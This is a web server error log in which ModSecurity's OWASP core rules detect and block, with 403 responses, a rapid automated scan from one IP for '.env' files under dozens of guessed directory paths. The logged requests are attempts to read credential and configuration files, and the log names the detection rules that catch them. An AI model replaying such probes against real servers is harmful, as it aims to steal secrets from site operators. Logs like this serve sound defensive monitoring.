[Thu Feb 26 01:02:57.237787 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch6a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkggAAAAM&quot;]
[Thu Feb 26 01:02:57.252687 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWwAAAAU&quot;]
[Thu Feb 26 01:02:57.252958 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWwAAAAU&quot;]
[Thu Feb 26 01:02:57.253143 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PWwAAAAU&quot;]
[Thu Feb 26 01:02:57.278447 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bookchain-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXAAAAAU&quot;]
[Thu Feb 26 01:02:57.278735 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXAAAAAU&quot;]
[Thu Feb 26 01:02:57.278916 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXAAAAAU&quot;]
[Thu Feb 26 01:02:57.315272 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgwAAAAM&quot;]
[Thu Feb 26 01:02:57.315544 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgwAAAAM&quot;]
[Thu Feb 26 01:02:57.315701 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkgwAAAAM&quot;]
[Thu Feb 26 01:02:57.347454 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXgAAAAU&quot;]
[Thu Feb 26 01:02:57.347757 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXgAAAAU&quot;]
[Thu Feb 26 01:02:57.347952 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXgAAAAU&quot;]
[Thu Feb 26 01:02:57.353321 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch7a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhAAAAAM&quot;]
[Thu Feb 26 01:02:57.353588 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhAAAAAM&quot;]
[Thu Feb 26 01:02:57.353755 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch7a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhAAAAAM&quot;]
[Thu Feb 26 01:02:57.373209 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXwAAAAU&quot;]
[Thu Feb 26 01:02:57.373496 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXwAAAAU&quot;]
[Thu Feb 26 01:02:57.373689 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PXwAAAAU&quot;]
[Thu Feb 26 01:02:57.399541 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYAAAAAU&quot;]
[Thu Feb 26 01:02:57.399815 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYAAAAAU&quot;]
[Thu Feb 26 01:02:57.399987 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/Kubernetes/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYAAAAAU&quot;]
[Thu Feb 26 01:02:57.408470 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhQAAAAM&quot;]
[Thu Feb 26 01:02:57.408736 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhQAAAAM&quot;]
[Thu Feb 26 01:02:57.408908 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhQAAAAM&quot;]
[Thu Feb 26 01:02:57.429238 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/olcne/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYQAAAAU&quot;]
[Thu Feb 26 01:02:57.429517 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYQAAAAU&quot;]
[Thu Feb 26 01:02:57.429689 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/OLCNE/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYQAAAAU&quot;]
[Thu Feb 26 01:02:57.453257 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ch8a-mytodo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhgAAAAM&quot;]
[Thu Feb 26 01:02:57.453497 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhgAAAAM&quot;]
[Thu Feb 26 01:02:57.453673 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ch8a-mytodo/.env&quot;] [unique_id &quot;aZ-NsQ3HqGC30X9HPoEkhgAAAAM&quot;]
[Thu Feb 26 01:02:57.468143 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bucoffea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bucoffea/.env&quot;] [unique_id &quot;aZ-NsSk1SHHL9bIjTI-PYgAAAAU&quot;]
